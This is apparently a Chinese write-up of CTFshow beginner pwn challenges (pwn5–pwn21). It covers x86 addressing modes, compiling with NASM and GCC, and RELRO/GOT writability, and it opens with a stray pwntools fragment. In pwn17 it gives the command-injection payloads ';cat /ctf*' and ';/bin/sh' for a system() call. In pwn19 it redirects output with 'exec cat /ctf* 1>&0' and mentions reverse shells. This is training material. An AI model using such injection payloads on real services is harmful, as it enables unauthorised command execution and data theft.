elf=ELF('./x64_ret2plt')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
main=elf.sym['main']
system=elf.sym['system']

题目 ¶

train.cs.nctu.edu.tw: ret2libc

题目 ¶

train.cs.nctu.edu.tw: rop
2013-PlaidCTF-ropasaurusrex
Defcon 2015 Qualifier: R0pbaby

pwn5-34

2025-07-09T04:00:00.000Z

本分类为让大家了解一些寄存器、寻址方式

汇编代码：

section .data
msg db "Welcome_to_CTFshow_PWN", 0
section .text
global _start
_start:
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用
; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用

使用NASM汇编器和ld链接器编译成可执行文件。
首先，将代码保存为一个文件，例如 Welcome_CTFshow.asm 。然后，使用以下命令将其编译为对象文件：

nasm -f elf Welcome_to_CTFshow.asm

这将生成一个名为 Welcome_CTFshow.o 的对象文件。接下来，使用以下命令将对象文件链接成可执行文件：

ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o

这将生成一个名为 Welcome_CTFshow 的可执行文件。

IDA查看汇编代码：

.text:08048080                 public start
.text:08048080 start           proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048080                 mov     eax, 0Bh
.text:08048085                 add     eax, 1BF48h
.text:0804808A                 sub     eax, 1
.text:0804808D                 mov     ebx, 36Dh
.text:08048092                 mov     edx, ebx
.text:08048094                 mov     ecx, dword ptr aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN"
.text:0804809A                 mov     esi, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN"
.text:0804809F                 mov     eax, [esi]
.text:080480A1                 mov     ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN"
.text:080480A6                 add     ecx, 4
.text:080480A9                 mov     eax, [ecx]
.text:080480AB                 mov     ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN"
.text:080480B0                 mov     edx, 2
.text:080480B5                 mov     eax, [ecx+edx*2]
.text:080480B8                 mov     ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN"
.text:080480BD                 mov     edx, 1
.text:080480C2                 add     ecx, 8
.text:080480C5                 mov     eax, [ecx+edx*2-6]
.text:080480C9                 mov     eax, 4
.text:080480CE                 mov     ebx, 1          ; fd
.text:080480D3                 mov     ecx, offset aWelcomeToCtfsh ; "Welcome_to_CTFshow_PWN"
.text:080480D8                 mov     edx, 16h        ; len
.text:080480DD                 int     80h             ; LINUX - sys_write
.text:080480DF                 mov     eax, 1
.text:080480E4                 xor     ebx, ebx        ; status
.text:080480E6                 int     80h             ; LINUX - sys_exit
.text:080480E6 start           endp
.text:080480E6
.text:080480E6 _text           ends
.text:080480E6
.data:080490E8 ; ===========================================================================
.data:080490E8
.data:080490E8 ; Segment type: Pure data
.data:080490E8 ; Segment permissions: Read/Write
.data:080490E8 _data           segment dword public 'DATA' use32
.data:080490E8                 assume cs:_data
.data:080490E8                 ;org 80490E8h
.data:080490E8 aWelcomeToCtfsh db 'Welcome_to_CTFshow_PWN',0
.data:080490E8                                         ; DATA XREF: LOAD:0804805C↑o
.data:080490E8                                         ; start+14↑r ...
.data:080490E8 _data           ends
.data:080490E8
.data:080490E8
.data:080490E8                 end start

地址为：0x80490E8

pwn5

Hint：运行此文件，将得到的字符串以ctfshow{xxxxx}提交。

如：运行文件后输出的内容为 Hello_World

提交的flag值为：ctfshow{Hello_World}

注：计组原理题型后续的flag中地址字母大写

$ ./Welcome_to_CTFshow
Welcome_to_CTFshow_PWN

flag:ctfshow{Welcome_to_CTFshow_PWN}

pwn6

Hint：立即寻址方式结束后eax寄存器的值为？

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

根据题目源码注释片段可以了解到立即寻址方式在哪，而且可以直接算出，在IDA中对应片段：

.text:08048080                 mov     eax, 0Bh
.text:08048085                 add     eax, 1BF48h
.text:0804808A                 sub     eax, 1

结果：0x0b+0x1bf48-0x1=0x1bf52=114514

flag:ctfshow{114514}

pwn7

Hint：寄存器寻址方式结束后edx寄存器的值为？

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

对应IDA片段：

.text:0804808D                 mov     ebx, 36Dh
.text:08048092                 mov     edx, ebx

故flag:ctfshow{0x36D}

pwn8

Hint：直接寻址方式结束后ecx寄存器的值为？

; 直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx

.text:08048094                 mov     ecx, dword_80490E8

双击dword_80490E8

.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o

故flag:ctfshow{0x80490E8}

pwn9

Hint：寄存器间接寻址方式结束后eax寄存器的值为？

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

对应IDA:

.text:0804809A                 mov     esi, offset dword_80490E8
.text:0804809F                 mov     eax, [esi]

双击dword_80490E8

.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o

这里是将指向地址的值赋值给eax

flag:ctfshow{0x636C6557}

Tip:字符串 Welcome_to_CTFshow_PWN 的 ASCII 转十六进制，前几个字节是 57 65 6C 63（对应 W e l c ）， 636C6557 可能是字节序反转后的结果（小端存储下，0x57656C63 会存为 63 6C 65 57 ）

pwn10

Hint：寄存器相对寻址方式结束后eax寄存器的值为？

; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

对应IDA:

.text:080480A1                 mov     ecx, offset dword_80490E8
.text:080480A6                 add     ecx, 4
.text:080480A9                 mov     eax, [ecx]

双击dword_80490E8

.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o
.data:080490E8                                         ; start+14↑r ...
.data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN',0

这里将msg的地址（0x80490E8）+ 4 处所执向的地址的值赋给eax

$ python3
Python 3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x80490E8+ 4)
'0x80490ec'

也就是“ome_to_CTFshow_PWN”

故flag:ctfshow{ome_to_CTFshow_PWN}

pwn11

Hint：寄存器相对寻址方式结束后eax寄存器的值为？

; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

对应IDA:

.text:080480AB                 mov     ecx, offset dword_80490E8
.text:080480B0                 mov     edx, 2
.text:080480B5                 mov     eax, [ecx+edx*2]

.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o
.data:080490E8                                         ; start+14↑r ...
.data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN',0

计算最终也是 [0x80490E8 + 2*2 ] = [0X80490EC]

故flag:ctfshow{ome_to_CTFshow_PWN}

pwn12

Hint：相对基址变址寻址方式结束后eax寄存器的值为？

; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

对应IDA:

.text:080480B8                 mov     ecx, offset dword_80490E8
.text:080480BD                 mov     edx, 1
.text:080480C2                 add     ecx, 8
.text:080480C5                 mov     eax, [ecx+edx*2-6]

.data:080490E8 dword_80490E8   dd 636C6557h            ; DATA XREF: LOAD:0804805C↑o
.data:080490E8                                         ; start+14↑r ...
.data:080490EC aOmeToCtfshowPw db 'ome_to_CTFshow_PWN',0

同理：[8 + 0x80490E8 + 1*2 - 6] = [0x80490EC]

故flag:ctfshow{ome_to_CTFshow_PWN}

pwn13

Hint：如何使用GCC？编译运行后即可获得flag

$ cat flag.c
#include 
int main() {
    char flag[] = {99, 116, 102, 115, 104, 111, 119, 123, 104, 79, 119, 95, 116, 48, 95, 117, 115, 51, 95, 71, 67, 67, 63, 125, 0};
    printf("%s", flag);
    return 0;
}
$ gcc flag.c -o flag
$ ./flag
ctfshow{hOw_t0_us3_GCC?}

这段代码是一个简单的 C 程序，它使用字符数组 flag 存储了一个加密的字符串，并通过 printf函数将其打印出来。

在这段代码中， flag 数组存储了一串整数值，这些整数值代表了字符的 ASCII 码。通过将这些整数值转换为相应的字符，就可以还原出原始的字符串。

运行该程序， printf 函数使用 %s 格式字符串将 flag 数组作为参数进行打印。由于 flag 数组的最后一个元素为零（NULL 字符）， printf 函数会将其之前的字符依次打印，直到遇到 NULL 字符为止。

根据给定的整数值数组，还原出的字符串为： ctfshow{hOw_t0_us3_GCC?}

Tip:gcc [选项] 源文件 -o 输出文件

pwn14

Hint：请你阅读以下源码，给定key为”CTFshow”，编译运行即可获得flag

$ echo "CTFshow">key
$ ls
flag.c  key
$ gcc flag.c -o flag
n$ ./flag
ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}

分析过程

$ cat flag.c
#include 
#include 
#define BUFFER_SIZE 1024
int main() {
    FILE *fp;
    unsigned char buffer[BUFFER_SIZE];
    size_t n;
    fp = fopen("key", "rb");
    if (fp == NULL) {
        perror("Nothing here!");
        return -1;
    }
    char output[BUFFER_SIZE * 9 + 12];
    int offset = 0;
    offset += sprintf(output + offset, "ctfshow{");
    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
        for (size_t i = 0; i < n; i++) {
            for (int j = 7; j >= 0; j--) {
                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);
            }
            if (i != n - 1) {
                offset += sprintf(output + offset, "_");
            }
        }
        if (!feof(fp)) {
            offset += sprintf(output + offset, " ");
        }
    }
    offset += sprintf(output + offset, "}");
    printf("%s\n", output);
    fclose(fp);
    return 0;

程序打开名为 “key” 的文件，以二进制（”rb”）模式进行读取。如果文件打开失败，将输出错误消息 “Nothing here!” 并返回 -1

然后，程序定义了一个缓冲区 buffer 用于读取文件内容，以及一个字符串数组 output 用于存储转换后的二进制字符串。变量 offset 用于跟踪 output 数组中的偏移量。

接下来，程序开始将输出字符串初始化为 “ctfshow{“，然后进入一个循环，每次读取

BUFFER_SIZE 字节的数据到 buffer 中，并将其转换为二进制字符串形式。

在内层循环中，程序遍历当前读取的字节的每一位，从最高位到最低位。通过右移操作和位与运算，提取出每一位的值，并使用 sprintf 函数将其添加到 output 字符串中。

在每个字节的二进制表示结束后，如果当前字节不是最后一个字节，则在 output 字符串中添加下划线作为分隔符。

如果文件还未读取完毕（即文件结束符未被读取），则在 output 字符串中添加空格作为分隔符。

循环结束后，程序在 output 字符串中添加 “}”，表示结束标记，并使用 printf 函数将最终的转换结果打印出来。

最后，程序关闭文件，并返回 0 表示成功执行。

该程序的作用是将二进制文件中的内容转换为二进制字符串形式，并以特定格式输出

pwn15

Hint：编译汇编代码到可执行文件，即可拿到flag

$ nasm -f elf flag.asm -o flag.o
$ ld -m elf_i386 -o flag flag.o
$ ls
flag  flag.asm  flag.o
$ ./flag
ctfshow{@ss3mb1y_1s_3@sy}

分析过程

这段代码是一个使用 x86 汇编语言编写的程序，用于在标准输出上打印一串特定格式的字符串。

要将这段代码编译为可执行文件，使用汇编器和链接器进行以下步骤：

$ nasm -f elf flag.asm -o flag.o #将汇编代码编译为目标文件
$ ld -m elf_i386 -o flag flag.o #将目标文件链接为可执行文件
$ ./flag  #运行此文件，执行后，它会在标准输出上打印出flag

Tip:原文件是Intel语法（NASM风格）,如果你是GAS汇编器，执行如下命令：

#原文件上添加
.intel_syntax noprefix  # 声明使用 Intel 语法，且寄存器无需 % 前缀

$ as --32 -o output.o input.asm  # 32 位汇编（根据需要调整架构）
$ ld -m elf_i386 -o output output.o  # 32 位链接

pwn16

Hint：使用gcc将其编译为可执行文件

$ gcc flag.s -o flag
$ ls
flag  flag.s
$ ./flag
ctfshow{daniuniuda}

分析过程:

.s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言，用于直接操作计算机的指令集架构。 .s 文件通常由汇编器（Assembler）处理，将其转换为可执行文件或目标文件。

可以使用 gcc 命令直接编译汇编语言源文件（ .s 文件）并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能，它可以根据输入文件的扩展名自动选择适当的编译器和链接器。

pwn17

Hint：有些命令好像有点不一样？

不要一直等，可能那样永远也等不到flag

题目考查点为Linux基础命令的拼接

在Linux命令中，分号（ ; ）用于分隔多个命令，允许在一行上顺序执行多个命令。

当使用分号（ ; ）将命令连接在一起时，它们按照从左到右的顺序逐个执行，无论前面的命令是否成功。这意味着无论前一个命令是否成功执行，后续的命令都将被执行。

例如，考虑以下命令：
command1 ; command2 ; command3 
在这个例子中，command1 执行完毕后，无论成功与否，接着会执行 command2，然后再执行command3 。这样，多个命令可以按顺序在一行上执行。

或者也可以使用 & 将两条命令拼接在一起可以实现并行执行，即这两条命令将同时在后台执行。命令之间使用 & 进行分隔。

示例：
command1 & command2 
1command1 和 command2 是两个要执行的命令。通过使用 & 将它们连接起来，它们将同时在后台执行。这种方式下命令的输出可能会相互混合，具体的输出顺序取决于命令的执行速度和系统资源。

回到题目：

远程
$ nc IP port
2
;cat /ctf*

分析过程：

先checksec

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        PIE enabled
  Stripped:   No

64位保护全开

IDA查看main函数，找到关键部分：

while ( 1 )
  {
    menu();
    v4 = 0;
    puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("id");
        break;
      case 2:
        puts("Which directory?('/','./' or the directiry you want?)");
        read(0, buf, 0xAu);
        strcat(dest, buf);
        system(dest);
        puts("Execution succeeded!");
        break;
      case 3:
        sleep(1u);
        puts("$cat /ctfshow_flag");
        sleep(1u);
        puts("ctfshow{");
        sleep(2u);
        puts("... ...");
        sleep(3u);
        puts("Your flag is ...");
        sleep(5u);
        puts("ctfshow{flag is not here!}");
        sleep(0x14u);
        puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
        sleep(0x1BF52u);
        system("cat /ctfshow_flag");
        break;
      case 4:
        sleep(2u);
        puts("su: Authentication failure");
        break;
      case 5:
        puts("See you!");
        exit(-1);
      default:
        puts("command not found!");
        break;
    }

这段代码是一个无限循环的菜单程序，根据用户输入的选项执行相应的操作。具体逻辑如下：

显示菜单选项。
提示用户输入要选择的命令（1、2、3、4或5）。
根据用户的选择执行相应的操作。
- 如果选择为1，则执行系统命令 “id” 并输出结果。
- 如果选择为2，则要求用户输入目录，并将输入的目录添加到一个字符串中，然后执行该字符串作为系统命令。
- 如果选择为3，则以一定时间间隔逐行输出一段文字，最后执行系统命令 “cat /ctfshow_flag” 并输出结果。
- 如果选择为4，则显示 “su: Authentication failure”。
- 如果选择为5，则显示 “See you!”，然后退出程序。
- 如果选择为其他值，则显示 “command not found!”。
根据执行的结果，将相应的提示信息赋值给变量 v4。
根据执行的结果，输出相应的提示信息。

可以看到在选项3最后会执行system(“cat /ctfshow_flag”);命令，虽然最终能达到我们想要的效果，但是它sleep了很久很久，本地等的话没什么问题，但是远程环境并没有这么久，因此这条直接pass，其他1/4/5选项都没有实质性作用，但是2那里会有问题，我们可以进行拼接，限制了10字节

但是我们完全够用，可以构造出 “;cat /ctf*” “;/bin/sh”等

直接拿取一个shell或者直接读出flag

在Linux中，通配符 * 表示匹配任意长度（包括零长度）的任意字符序列。

所以cat /ctf*能够读到flag

pwn18

Hint：仔细看看源码，或许有惊喜

假作真时真亦假，真作假时假亦真

远程
$ nc IP port
9

分析过程：

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        PIE enabled
  Stripped:   No

64位保护全开

IDA查看main函数：

int main{
    ...
puts("Which is the real flag?");
__isoc99_scanf("%d", &n9);
if ( n9 == 9 )
  fake();
else
  real();
system("cat /ctfshow_flag");
return 0;
}

打印提示消息：”Which is the real flag?”
使用 scanf 函数接收用户的输入，并将其保存在变量 v4 中。
如果用户输入的值等于 9，则调用 fake() 函数。
如果用户输入的值不等于 9，则调用 real() 函数。
无论用户输入的值是什么，都会执行 system(“cat /ctfshow_flag”) 命令，将/ctfshow_flag 文件的内容打印出来。

分别跟进fake()和real():

int fake()
{
  return system("echo 'flag is here'>>/ctfshow_flag");
}

int real()
{
  return system("echo 'flag is here'>/ctfshow_flag");
}

system(“echo ‘flag is here’>>/ctfshow_flag”);
这个命令将字符串 ‘flag is here’ 追加写入 /ctfshow_flag 文件中。 >> 符号表示以追加的方式写入文件，如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在，那么该命令会在文件的末尾添加 ‘flag is here’ 。
system(“echo ‘flag is here’>/ctfshow_flag”);
这个命令将字符串 ‘flag is here’ 覆盖写入 /ctfshow_flag 文件中。 > 符号表示以覆盖的方式写入文件，如果文件不存在则创建新文件。如果 /ctfshow_flag 文件已经存在，那么该命令会将文件中原有的内容替换为 ‘flag is here’ 。

这两个命令都用于将 ‘flag is here’ 写入 /ctfshow_flag 文件中，不同之处在于写入方式的不同。第一个命令使用追加方式，在文件末尾添加内容；第二个命令使用覆盖方式，将文件内容替换为新内容。具体使用哪个命令取决于需求和文件操作的预期结果。也就是所假的其实是我们需要的真的，真的反而是假的

在远程环境中，我们需要在第一次读到flag，否则后续得到的flag都已经被覆写再追加，真实的flag内容已经没了。

pwn19

Hint：关闭了输出流，一定是最安全的吗？

$ chmod +x pwn
$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : Turn off output, how to get flag?
    * *************************************
give you a shell! now you need to get flag!
exec cat /ctf* 1>&0

分析过程：

$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位保护全开

IDA查看main函数：

if ( fork() )
  {
    wait(0);
    sleep(3u);
    printf("flag is not here!");
  }
  else
  {
    puts("give you a shell! now you need to get flag!");
    fclose(_bss_start);
    read(0, buf, 0x20u);
    system(buf);
  }
  return 0;

if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中， fork() 返回子进程的进程ID，所以进入 if 语句块；子进程中， fork() 返回0，所以进入 else 语句块。

在父进程中： 2.wait(0LL) : 父进程通过 wait() 函数等待子进程的结束，以确保子进程执行完

毕。

sleep(3u) : 父进程睡眠3秒钟。
printf(“flag is not here!”) : 输出提示信息，表明flag不在此处。

在子进程中： 2.puts(“give you a shell! now you need to get flag!”) : 输出提示信息，

表示给予用户一个shell，让其获取flag。

fclose() : 关闭文件输出流。
read(0, &buf, 0x20uLL) : 从标准输入中读取用户输入的命令，并存储在 buf 中。
system(&buf) : 执行用户输入的命令。

我们可以使用了exec 函数来执行 sh 命令，并使用1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入，实际上就是将命令的输出发送到后续命令的输入

具体来说， 1>&0 中的 1 表示标准输出， 0 表示标准输入。通过将标准输出重定向到标准输入，可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后，进入一个交互式的Shell环境，可以在该环境中执行命令并与用户进行交互。

也可以直接exec cat /ctf* 1>&0 将 cat /ctf* 命令的输出发送到标准输入，实际上就是将命令的输出再次输出到屏幕上。

这里限制了20个字节，反弹shell的话理论上也可行，感兴趣的可以自行去尝试。

pwn20

Hint:提交ctfshow{【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】}
例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
最终flag为ctfshow{1_1_0x400820_0x8208820}
若某个表不存在，则无需写其对应地址
如不存在.got.plt表，则最终flag值为ctfshow{1_0_0x400820}

$ chmod +x pwn
$ ./pwn 0x600f18
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : What is RELRO protection ?
    * *************************************
RELRO: 52454c52
$ ./pwn 0x600f28
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : What is RELRO protection ?
    * *************************************
RELRO: 52454c52

程序正常执行，.got表和.got.plt都可写

故flag:ctfshow{1_1_0x600f18_0x600f28}

分析过程：

$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

可以看到仅开启了NX保护，RELRO保护是完全关闭状态

这里先看一下RELRO保护：

RELRO（RELocation Read-Only）是一种可选的二进制保护机制，用于增加程序的安全性。它主要通过限制和保护全局偏移表（Global Offset Table，简称 GOT）和过程链接表（Procedure Linkage Table，简称 PLT）的可写性来防止针对这些结构的攻击。RELRO保护有三种状态：

No RELRO：在这种状态下，GOT和PLT都是可写的，意味着攻击者可以修改这些表中的指针，从而进行攻击。这是最弱的保护状态。
Partial RELRO：在这种状态下，GOT的开头部分被设置为只读（RO），而剩余部分仍然可写。这样可以防止一些简单的攻击，但仍存在一些漏洞。
Full RELRO：在这种状态下，GOT和PLT都被设置为只读（RO）。这样做可以防止对这些结构的修改，提供更强的保护。任何对这些表的修改都会导致程序异常终止。

了解到上述内容后，这个保护的几题都游刃而解了

IDA查看

.got:0000000000600F18 ; Segment type: Pure data
.got:0000000000600F18 ; Segment permissions: Read/Write
.got:0000000000600F18 _got            segment qword public 'DATA' use64
.got:0000000000600F18                 assume cs:_got
.got:0000000000600F18                 ;org 600F18h
.got:0000000000600F18 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000600F18                                         ; DATA XREF: _start+24↑r
.got:0000000000600F20 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000600F20                                         ; DATA XREF: _init_proc+4↑r
.got:0000000000600F20 _got            ends
.got:0000000000600F20
.got.plt:0000000000600F28 ; ===========================================================================
.got.plt:0000000000600F28
.got.plt:0000000000600F28 ; Segment type: Pure data
.got.plt:0000000000600F28 ; Segment permissions: Read/Write
.got.plt:0000000000600F28 _got_plt        segment qword public 'DATA' use64
.got.plt:0000000000600F28                 assume cs:_got_plt
.got.plt:0000000000600F28                 ;org 600F28h
.got.plt:0000000000600F28 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000600F30 qword_600F30    dq 0                    ; DATA XREF: sub_400420↑r
.got.plt:0000000000600F38 qword_600F38    dq 0                    ; DATA XREF: sub_400420+6↑r
.got.plt:0000000000600F40 off_600F40      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000600F48 off_600F48      dq offset printf        ; DATA XREF: _printf↑r
.got.plt:0000000000600F50 off_600F50      dq offset strtol        ; DATA XREF: _strtol↑r
.got.plt:0000000000600F50 _got_plt        ends

或者

$ objdump -R pwn

pwn:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000600f18 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000600f20 R_X86_64_GLOB_DAT  __gmon_start__
0000000000600f40 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000600f48 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000600f50 R_X86_64_JUMP_SLOT  strtol@GLIBC_2.2.5

查看一下表项地址

$ readelf -S pwn
There are 29 section headers, starting at offset 0x1878:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400200  00000200
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             000000000040021c  0000021c
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.bu[...] NOTE             000000000040023c  0000023c
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400260  00000260
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           0000000000400280  00000280
       0000000000000090  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400310  00000310
       000000000000004b  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           000000000040035c  0000035c
       000000000000000c  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400368  00000368
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400388  00000388
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003b8  000003b8
       0000000000000048  0000000000000018  AI       5    22     8
  [11] .init             PROGBITS         0000000000400400  00000400
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400420  00000420
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400460  00000460
       0000000000000252  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006b4  000006b4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006c0  000006c0
       000000000000053a  0000000000000000   A       0     0     8
  [16] .eh_frame_hdr     PROGBITS         0000000000400bfc  00000bfc
       000000000000003c  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400c38  00000c38
       0000000000000100  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600d38  00000d38
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600d40  00000d40
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600d48  00000d48
       00000000000001d0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600f18  00000f18
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000600f28  00000f28
       0000000000000030  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000600f58  00000f58
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000600f68  00000f68
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00000f68
       0000000000000029  0000000000000001  MS       0     0     1
  [26] .symtab           SYMTAB           0000000000000000  00000f98
       00000000000005e8  0000000000000018          27    43     8
  [27] .strtab           STRTAB           0000000000000000  00001580
       00000000000001f1  0000000000000000           0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  00001771
       0000000000000103  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

pwn21

Hint：提交ctfshow{【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】}
例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
最终flag为ctfshow{1_1_0x400820_0x8208820}
若某个表不存在，则无需写其对应地址
如不存在.got.plt表，则最终flag值为ctfshow{1_0_0x400820}

$ ./pwn 0x600ff0
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : What is RELRO protection ?
    * *************************************
Segmentation fault (core dumped)
$ ./pwn 0x601000
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanisms
    * Site  : https://ctf.show/
    * Hint  : What is RELRO protection ?
    * *************************************
RELRO: 52454c52

在写.got表的时候就会抛出异常，而写.got.plt依旧正常

故flag:ctfshow{0_1_0x600ff0_0x601000}

分析过程：

checksec查看保护

$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

可以看到RELRO保护部分开启了

$ objdump -R pwn

pwn:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
